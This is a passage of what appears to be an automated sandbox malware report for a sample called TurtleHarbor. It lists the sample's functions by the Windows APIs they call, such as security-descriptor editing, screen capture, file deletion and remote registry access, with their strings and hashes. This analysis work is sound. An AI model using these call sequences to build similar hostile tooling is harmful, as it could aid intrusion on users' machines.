                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                            • String ID: 0
                                            • API String ID: 1296962147-4108050209
                                            • Opcode ID: cd2b61548cae6fe9679b152fe167e2b13dcde650f1c02973e1086ea693eb4c84
                                            • Instruction ID: 4dfb8594d9f4af2391708f5bdfcb602fb43c9818f1f76237fad58ec1c207fb86
                                            • Opcode Fuzzy Hash: cd2b61548cae6fe9679b152fe167e2b13dcde650f1c02973e1086ea693eb4c84
                                            • Instruction Fuzzy Hash: 9381B971618301AFDB16CF14D885AABBBE8FF89314F01492EF995A7291D730D905CBA2
                                            Function 00368ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00368E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00368E3C
                                              • Part of subcall function 00368E20: GetLastError.KERNEL32(?,00368900,?,?,?), ref: 00368E46
                                              • Part of subcall function 00368E20: GetProcessHeap.KERNEL32(00000008,?,?,00368900,?,?,?), ref: 00368E55
                                              • Part of subcall function 00368E20: HeapAlloc.KERNEL32(00000000,?,00368900,?,?,?), ref: 00368E5C
                                              • Part of subcall function 00368E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00368E73
                                              • Part of subcall function 00368EBD: GetProcessHeap.KERNEL32(00000008,00368916,00000000,00000000,?,00368916,?), ref: 00368EC9
                                              • Part of subcall function 00368EBD: HeapAlloc.KERNEL32(00000000,?,00368916,?), ref: 00368ED0
                                              • Part of subcall function 00368EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00368916,?), ref: 00368EE1
                                            • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00368B2E
                                            • _memset.LIBCMT ref: 00368B43
                                            • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00368B62
                                            • GetLengthSid.ADVAPI32(?), ref: 00368B73
                                            • GetAce.ADVAPI32(?,00000000,?), ref: 00368BB0
                                            • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00368BCC
                                            • GetLengthSid.ADVAPI32(?), ref: 00368BE9
                                            • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00368BF8
                                            • HeapAlloc.KERNEL32(00000000), ref: 00368BFF
                                            • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00368C20
                                            • CopySid.ADVAPI32(00000000), ref: 00368C27
                                            • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00368C58
                                            • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00368C7E
                                            • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00368C92
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                            • String ID:
                                            • API String ID: 3996160137-0
                                            • Opcode ID: 0e9b2f43f671e1af9b999e769cbaac0ecd6b78614dc24d4007ba9166efe77aaa
                                            • Instruction ID: 2e3733cc576f19a791f87ee20a6f13b38ca37da8b43d364c60b49b06a53b770c
                                            • Opcode Fuzzy Hash: 0e9b2f43f671e1af9b999e769cbaac0ecd6b78614dc24d4007ba9166efe77aaa
                                            • Instruction Fuzzy Hash: 8C616975900209AFDF16DFA4DC44EEEBB79FF09300F048269F915AB294DB759A05CB60
                                            Function 00387A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDC.USER32(00000000), ref: 00387A79
                                            • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00387A85
                                            • CreateCompatibleDC.GDI32(?), ref: 00387A91
                                            • SelectObject.GDI32(00000000,?), ref: 00387A9E
                                            • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00387AF2
                                            • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00387B2E
                                            • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00387B52
                                            • SelectObject.GDI32(00000006,?), ref: 00387B5A
                                            • DeleteObject.GDI32(?), ref: 00387B63
                                            • DeleteDC.GDI32(00000006), ref: 00387B6A
                                            • ReleaseDC.USER32(00000000,?), ref: 00387B75
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                            • String ID: (
                                            • API String ID: 2598888154-3887548279
                                            • Opcode ID: a0c353775a0401716b5533617fbdd53c532b09487940ac7a7de2df2c4b9a9fce
                                            • Instruction ID: 3fd0b552bd3b73d9a31d488a146fe3b253d3c95119a4d54019dcb2fbba6fb4f0
                                            • Opcode Fuzzy Hash: a0c353775a0401716b5533617fbdd53c532b09487940ac7a7de2df2c4b9a9fce
                                            • Instruction Fuzzy Hash: 61514A71904309EFCB1ADFA8CC85EAEBBB9EF49310F14845DF94AA7210D735A941CB60
                                            Function 0037A48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0037A4D4
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            • LoadStringW.USER32(?,?,00000FFF,?), ref: 0037A4F6
                                            • __swprintf.LIBCMT ref: 0037A54F
                                            • __swprintf.LIBCMT ref: 0037A568
                                            • _wprintf.LIBCMT ref: 0037A61E
                                            • _wprintf.LIBCMT ref: 0037A63C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LoadString__swprintf_wprintf$_memmove
                                            • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                            • API String ID: 311963372-2391861430
                                            • Opcode ID: 91617bfd6e29348b272726077d31d29ae9f353d02979ad1eff5b72db725165fd
                                            • Instruction ID: be12a2315d5eb85ff3c6c1932829ea6f81d25fa3a2c598c0c5af1dfefe072dbe
                                            • Opcode Fuzzy Hash: 91617bfd6e29348b272726077d31d29ae9f353d02979ad1eff5b72db725165fd
                                            • Instruction Fuzzy Hash: DD51A371801529AACF27EBE0DE86EEEB779EF14340F104165F505B60A2EB352F58CB91
                                            Function 00379710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0037951A: __time64.LIBCMT ref: 00379524
                                              • Part of subcall function 00324A8C: _fseek.LIBCMT ref: 00324AA4
                                            • __wsplitpath.LIBCMT ref: 003797EF
                                              • Part of subcall function 0033431E: __wsplitpath_helper.LIBCMT ref: 0033435E
                                            • _wcscpy.LIBCMT ref: 00379802
                                            • _wcscat.LIBCMT ref: 00379815
                                            • __wsplitpath.LIBCMT ref: 0037983A
                                            • _wcscat.LIBCMT ref: 00379850
                                            • _wcscat.LIBCMT ref: 00379863
                                              • Part of subcall function 00379560: _memmove.LIBCMT ref: 00379599
                                              • Part of subcall function 00379560: _memmove.LIBCMT ref: 003795A8
                                            • _wcscmp.LIBCMT ref: 003797AA
                                              • Part of subcall function 00379CF1: _wcscmp.LIBCMT ref: 00379DE1
                                              • Part of subcall function 00379CF1: _wcscmp.LIBCMT ref: 00379DF4
                                            • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00379A0D
                                            • _wcsncpy.LIBCMT ref: 00379A80
                                            • DeleteFileW.KERNEL32(?,?), ref: 00379AB6
                                            • CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00379ACC
                                            • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00379ADD
                                            • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00379AEF
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
                                            • String ID:
                                            • API String ID: 1500180987-0
                                            • Opcode ID: 47aedf310944facc4d8ecad6fb56967ea39f54bc5799c0805c7d80687cf86a4b
                                            • Instruction ID: 2cbad54f8381c05c978e7d31b9cf2bbb4afd83fa3a74e602bb57d6650d859af0
                                            • Opcode Fuzzy Hash: 47aedf310944facc4d8ecad6fb56967ea39f54bc5799c0805c7d80687cf86a4b
                                            • Instruction Fuzzy Hash: 9BC12FB1D00129AADF22DF95CC85EDEB7BDEF45310F0081AAF609EB151EB349A448F65
                                            Function 00325BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 00325BF1
                                            • GetMenuItemCount.USER32(003D7890), ref: 00360E7B
                                            • GetMenuItemCount.USER32(003D7890), ref: 00360F2B
                                            • GetCursorPos.USER32(?), ref: 00360F6F
                                            • SetForegroundWindow.USER32(00000000), ref: 00360F78
                                            • TrackPopupMenuEx.USER32(003D7890,00000000,?,00000000,00000000,00000000), ref: 00360F8B
                                            • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00360F97
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
                                            • String ID:
                                            • API String ID: 2751501086-0
                                            • Opcode ID: d91060329dcdcfa06a21468096e99d0bf6bee4ea98543108c5cf5cfe7d433fb7
                                            • Instruction ID: f566866499a877d84dc759fe44354ff9b2be55adb549f3d443c3a301045f1a41
                                            • Opcode Fuzzy Hash: d91060329dcdcfa06a21468096e99d0bf6bee4ea98543108c5cf5cfe7d433fb7
                                            • Instruction Fuzzy Hash: EE712730644725BFEB2A8B54DC86FABBF68FF05764F108206F514AA1E0D7B16860DB90
                                            Function 0037AEEA Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 183COMMON
                                            Download Yara Rule
                                            APIs
                                            • CharLowerBuffW.USER32(?,?,003A0980), ref: 0037AF4E
                                            • GetDriveTypeW.KERNEL32(00000061,003CB5F0,00000061), ref: 0037B018
                                            • _wcscpy.LIBCMT ref: 0037B042
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharDriveLowerType_wcscpy
                                            • String ID: L,:$all$cdrom$fixed$network$ramdisk$removable$unknown
                                            • API String ID: 2820617543-460166681
                                            • Opcode ID: 9f8412bb8e7f4cc813fbc7a5b5a38a16d61e0e88dc8d9b9f822bb4ee09fd9c31
                                            • Instruction ID: a2f36b9d186ce4de26320567f71edc8447b571cf4c8bff09fd2e60d8b36f9e35
                                            • Opcode Fuzzy Hash: 9f8412bb8e7f4cc813fbc7a5b5a38a16d61e0e88dc8d9b9f822bb4ee09fd9c31
                                            • Instruction Fuzzy Hash: B951AF701083059BC32AEF14DC92AAFB7A9EF95700F50881DF4999B2A2DB319D49CB43
                                            Function 003683FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            • _memset.LIBCMT ref: 00368489
                                            • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 003684BE
                                            • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 003684DA
                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 003684F6
                                            • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00368520
                                            • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00368548
                                            • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00368553
                                            • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00368558
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
                                            • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                            • API String ID: 1411258926-22481851
                                            • Opcode ID: 3f43b6ac21d2909ff7afd89004ed273f2f638b2ad2490fbfcd13a3fface12213
                                            • Instruction ID: 635d58870d88fc3e8575351d21459e5de4f5b04e44f928e1181a3e04dc1bfb8d
                                            • Opcode Fuzzy Hash: 3f43b6ac21d2909ff7afd89004ed273f2f638b2ad2490fbfcd13a3fface12213
                                            • Instruction Fuzzy Hash: 2A410676C1022DABCF16EBA4ED95DEEB778FF18340F004529E905A6161EB309E04CB90
                                            Function 0039147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                            Download Yara Rule
                                            APIs
                                            • CharUpperBuffW.USER32(?,?,?,?,?,?,?,0039040D,?,?), ref: 00391491
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharUpper
                                            • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                            • API String ID: 3964851224-909552448
                                            • Opcode ID: bd61602793bae95112d7dbb9c7345bb5becd305eca9315d59c4e7fa74c6dfeb2
                                            • Instruction ID: 590aef0d6a2b311605726d8263617030c325585cd8c376467042d58469daefb5
                                            • Opcode Fuzzy Hash: bd61602793bae95112d7dbb9c7345bb5becd305eca9315d59c4e7fa74c6dfeb2
                                            • Instruction Fuzzy Hash: 5B417C3451026ADBDF1BEF50D991AEB3364BF62300F524419FC56AB292DB30ED19CB60
                                            Function 0036FF5C Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0035FB41,00000010,?,Bad directive syntax error,003A0980,00000000,?,?,?), ref: 0036FF7D
                                            • LoadStringW.USER32(00000000,?,0035FB41,00000010), ref: 0036FF84
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            • _wprintf.LIBCMT ref: 0036FFB7
                                            • __swprintf.LIBCMT ref: 0036FFD9
                                            • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00370048
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
                                            • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                            • API String ID: 1506413516-4153970271
                                            • Opcode ID: 519b12e2c6f75d6b261cee3224a137243bd803118879943803b8b9f8e99bf0c3
                                            • Instruction ID: 71bcc985129b0d202a165df8f5ea50fe63fc14284b13144351ba794b8ad26346
                                            • Opcode Fuzzy Hash: 519b12e2c6f75d6b261cee3224a137243bd803118879943803b8b9f8e99bf0c3
                                            • Instruction Fuzzy Hash: AB21813184022DABCF13AF90DC06FEE7779BF24304F044459F505AA0A2DB71AA68CB91
                                            Function 00375882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                              • Part of subcall function 0032153B: _memmove.LIBCMT ref: 003215C4
                                            • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 003758EB
                                            • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00375901
                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00375912
                                            • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00375924
                                            • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00375935
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: SendString$_memmove
                                            • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                            • API String ID: 2279737902-1007645807
                                            • Opcode ID: 42c98c8f2beca2d195e71fd2847d59c844ed7da1a4ea85880f2d67cebdc8bc97
                                            • Instruction ID: 21572ce631c95c67420786eef1478ec814a34adc61a2a5c4c20df61f0067ee1a
                                            • Opcode Fuzzy Hash: 42c98c8f2beca2d195e71fd2847d59c844ed7da1a4ea85880f2d67cebdc8bc97
                                            • Instruction Fuzzy Hash: C011B23598016DB9D726A7A1DC4AEFFBB7CEBF6B50F400429B805E60D1DBA01D04CAA0
                                            Function 00374C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                            • String ID: 0.0.0.0
                                            • API String ID: 208665112-3771769585
                                            • Opcode ID: 13c03667e7ace8eaece119828c6527f3fcfdac18d21fa44c63c67a9a7aed789d
                                            • Instruction ID: a04ad6a392605b2c842df3fa794b7a3ba37748faf04138d570d884f9301648e6
                                            • Opcode Fuzzy Hash: 13c03667e7ace8eaece119828c6527f3fcfdac18d21fa44c63c67a9a7aed789d
                                            • Instruction Fuzzy Hash: 14112C31505109BFCB2BA770DD8AEDB77BCDF41710F048165F04896091EF78A9818B51
                                            Function 00375530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • timeGetTime.WINMM ref: 00375535
                                              • Part of subcall function 0033083E: timeGetTime.WINMM(?,00000002,0031C22C), ref: 00330842
                                            • Sleep.KERNEL32(0000000A), ref: 00375561
                                            • EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00375585
                                            • FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 003755A7
                                            • SetActiveWindow.USER32 ref: 003755C6
                                            • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 003755D4
                                            • SendMessageW.USER32(00000010,00000000,00000000), ref: 003755F3
                                            • Sleep.KERNEL32(000000FA), ref: 003755FE
                                            • IsWindow.USER32 ref: 0037560A
                                            • EndDialog.USER32(00000000), ref: 0037561B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                            • String ID: BUTTON
                                            • API String ID: 1194449130-3405671355
                                            • Opcode ID: ac9b8ff4994e8183825109fc9d67e57bb90431acee7860e6bb679873e7cfa409
                                            • Instruction ID: f1f845f4aae5075c1a4fe05713cc3883a8836d47d07431f68bbe8c0d42a99d0a
                                            • Opcode Fuzzy Hash: ac9b8ff4994e8183825109fc9d67e57bb90431acee7860e6bb679873e7cfa409
                                            • Instruction Fuzzy Hash: B821D1B0205604AFE76B5B60FC89E253B6FEB47345F045419F00A811B1DFB99C54DB62
                                            Function 0037DBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            • CoInitialize.OLE32(00000000), ref: 0037DC2D
                                            • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0037DCC0
                                            • SHGetDesktopFolder.SHELL32(?), ref: 0037DCD4
                                            • CoCreateInstance.OLE32(003A3D4C,00000000,00000001,003CB86C,?), ref: 0037DD20
                                            • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0037DD8F
